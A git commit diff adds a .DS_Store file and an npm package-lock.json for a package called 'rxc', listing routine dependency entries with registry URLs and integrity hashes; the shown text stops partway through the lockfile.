commit 81470d3f4b58a09420208681008449dcf7475633 Author: i2p Date: Thu Aug 27 10:50:08 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..c773c92 Binary files /dev/null and b/.DS_Store differ diff --git a/build/package-lock.json b/build/package-lock.json new file mode 100644 index 0000000..f7e3fb7 --- /dev/null +++ b/build/package-lock.json @@ -0,0 +1,3970 @@ +{ + "name": "rxc", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "rxc", + "version": "1.0.0", + "license": "ISC", + "dependencies": { + "archiver": "^7.0.1", + "axios": "^1.6.7", + "colors": "^1.4.0", + "form-data": "^4.0.0", + "resedit-cli": "^2.1.0", + "sqlite3": "^5.1.7" + }, + "bin": { + "rxc": "index.js" + }, + "devDependencies": { + "pkg": "^5.3.2" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.27.1", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/generator": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.18.2.tgz", + "integrity": "sha512-W1lG5vUwFvfMd8HVXqdfbuG7RuaSrTCCD8cl8fP8wOivdbtbIg2Db3IWUcgvfxKbbn6ZBGYRW/Zk1MIwK49mgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.2", + "@jridgewell/gen-mapping": "^0.3.0", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.18.4", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.18.4.tgz", + "integrity": "sha512-FDge0dFazETFcxGw/EXzOkN8uJp0PC7Qbm+Pe9T+av2zlBpOgunFHkQPPn+eRuClU73JF+98D531UgayY89tow==", + "dev": true, + "license": "MIT", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.0.tgz", + "integrity": "sha512-YuGopBq3ke25BVSiS6fgF49Ul9gH1x70Bcr6bqRLjWCkcX8Hre1/5+z+IiWOIerRMSSEfGZVB9z9kyq7wVs9YA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.18.10", + "@babel/helper-validator-identifier": "^7.18.6", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@gar/promisify": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", + "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "license": "MIT", + "optional": true + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT" + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@npmcli/fs": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", + "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "@gar/promisify": "^1.0.1", + "semver": "^7.3.5" + } + }, + "node_modules/@npmcli/move-file": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", + "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", + "deprecated": "This functionality has been moved to @npmcli/fs", + "license": "MIT", + "optional": true, + "dependencies": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "license": "ISC", + "optional": true + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "license": "MIT", + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/agentkeepalive": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", + "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "license": "MIT", + "optional": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/aproba": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", + "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", + "license": "ISC", + "optional": true + }, + "node_modules/archiver": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-7.0.1.tgz", + "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==", + "license": "MIT", + "dependencies": { + "archiver-utils": "^5.0.2", + "async": "^3.2.4", + "buffer-crc32": "^1.0.0", + "readable-stream": "^4.0.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^3.0.0", + "zip-stream": "^6.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/archiver-utils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-5.0.2.tgz", + "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==", + "license": "MIT", + "dependencies": { + "glob": "^10.0.0", + "graceful-fs": "^4.2.0", + "is-stream": "^2.0.1", + "lazystream": "^1.0.0", + "lodash": "^4.17.15", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/archiver-utils/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/archiver-utils/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/archiver-utils/node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/archiver-utils/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/archiver-utils/node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "license": "ISC", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/archiver-utils/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/archiver-utils/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/archiver-utils/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/archiver/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/archiver/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/archiver/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/archiver/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/archiver/node_modules/tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "license": "MIT", + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/are-we-there-yet": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", + "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/are-we-there-yet/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "optional": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "license": "Python-2.0" + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/axios": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz", + "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.4", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/b4a": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.7.3.tgz", + "integrity": "sha512-5Q2mfq2WfGuFp3uS//0s6baOJLMoVduPYVeNmDYxu5OUA1/cBfvr2RIS7vi62LdNj/urk1hfmj867I3qt6uZ7Q==", + "license": "Apache-2.0", + "peerDependencies": { + "react-native-b4a": "*" + }, + "peerDependenciesMeta": { + "react-native-b4a": { + "optional": true + } + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT" + }, + "node_modules/bare-events": { + "version": "2.8.2", + "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.8.2.tgz", + "integrity": "sha512-riJjyv1/mHLIPX4RwiK+oW9/4c3TEUeORHKefKAKnZ5kyslbN+HXowtbaVEqt4IMUB7OXlfixcs6gsFeo/jhiQ==", + "license": "Apache-2.0", + "peerDependencies": { + "bare-abort-controller": "*" + }, + "peerDependenciesMeta": { + "bare-abort-controller": { + "optional": true + } + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + 